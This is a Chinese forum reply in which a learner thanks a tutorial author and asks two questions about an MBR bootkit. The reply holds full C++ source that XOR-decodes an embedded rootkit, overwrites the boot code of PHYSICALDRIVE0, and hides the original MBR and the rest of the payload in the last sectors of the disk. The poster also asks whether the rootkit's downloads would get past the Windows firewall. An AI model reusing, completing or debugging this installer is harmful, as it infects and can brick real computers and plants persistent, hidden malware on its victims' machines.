非常感谢您的赐教!
有2个不明白的地方:
1.因为rootkit只写入了446字节,所以这里是不是也应该是446,而不是512?
//写入MBR其他数据
PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
PositionFileTable.QuadPart -= 9;
PositionFileTable.QuadPart *= 512;
if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
2. 512-446=66字节 这66个字节是分区表吗?
////////////////////////////////////////////
int _tmain()
{
//_asm{int 3}
for (int i = 0; i < sizeof(aArray); i++)
{
//szArray[i] = ~ szArray[i]; // 取反 ~
aArray[i] = aArray[i] ^ 123; // 异或 ^
}
DWORD dwSize;
dwSize = sizeof(aArray);
LPBYTE lpBuffer = new BYTE[dwSize];
memcpy(lpBuffer, aArray, dwSize);
HANDLE hPhysicalDrive = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hPhysicalDrive == INVALID_HANDLE_VALUE)
{
OutputDebugString("Open Drive0 Failed!");
delete lpBuffer;
return 0;
}
BYTE BootSector[512];//原始MBR
DWORD NumberOfBytesRead;
if (SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!ReadFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL))
{
OutputDebugString("读取原始MBR失败!");
delete lpBuffer;
CloseHandle(hPhysicalDrive);
return 0;
}
BYTE backBootSector[512];
memcpy(&backBootSector, &BootSector, 512);
memcpy(&backBootSector, lpBuffer, 446);
SetFilePointer(hPhysicalDrive, 0, 0, FILE_BEGIN);//读文件的时候会移动指针,所以要设置下
WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL);//MBR感染446
DISK_GEOMETRY_EX pdg = { 0 };
DWORD junk = 0; // discard results
DeviceIoControl(hPhysicalDrive, // device to be queried
IOCTL_DISK_GET_DRIVE_GEOMETRY_EX, // operation to perform
NULL, 0, // no input buffer
&pdg, sizeof(pdg), // output buffer
&junk, // # bytes returned
(LPOVERLAPPED)NULL); // synchronous I/O
//备份MBR
LARGE_INTEGER PositionFileTable;
PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
PositionFileTable.QuadPart -= 10;
PositionFileTable.QuadPart *= 512;
NumberOfBytesRead = 0;
if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!WriteFile(hPhysicalDrive, &BootSector, 512, &NumberOfBytesRead, NULL))
{
OutputDebugString("备份原始MBR失败");
delete lpBuffer;
CloseHandle(hPhysicalDrive);
return 0;
}
//写入MBR其他数据
PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
PositionFileTable.QuadPart -= 9;
PositionFileTable.QuadPart *= 512;
if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!WriteFile(hPhysicalDrive, lpBuffer + 446, ((dwSize - 446) / 512 + 1) * 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
{
OutputDebugString("Write Other Failed!");
delete lpBuffer;
CloseHandle(hPhysicalDrive);
return 0;
}
//备份MBR loader
PositionFileTable.QuadPart = pdg.DiskSize.QuadPart / 512;
PositionFileTable.QuadPart -= 11;
PositionFileTable.QuadPart *= 512;
if (!SetFilePointerEx(hPhysicalDrive, PositionFileTable, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!WriteFile(hPhysicalDrive, backBootSector, 512, &NumberOfBytesRead, NULL))//WriteFile第三个参数必须是512的整数倍
{
OutputDebugString("Write Other Failed!");
delete lpBuffer;
CloseHandle(hPhysicalDrive);
return 0;
}
delete lpBuffer;
CloseHandle(hPhysicalDrive);
return 1;
}
////////////////////////////////////////////
遗憾的是,我这样写入之后虚拟机一直黑屏,进不去系统。
另外这个rootkit下载文件是否会被系统自带防火墙拦截?
这个程序需要管理员权限才能写入成功。
画了个示意图,不知道我的理解对不对,其他人有人成功吗?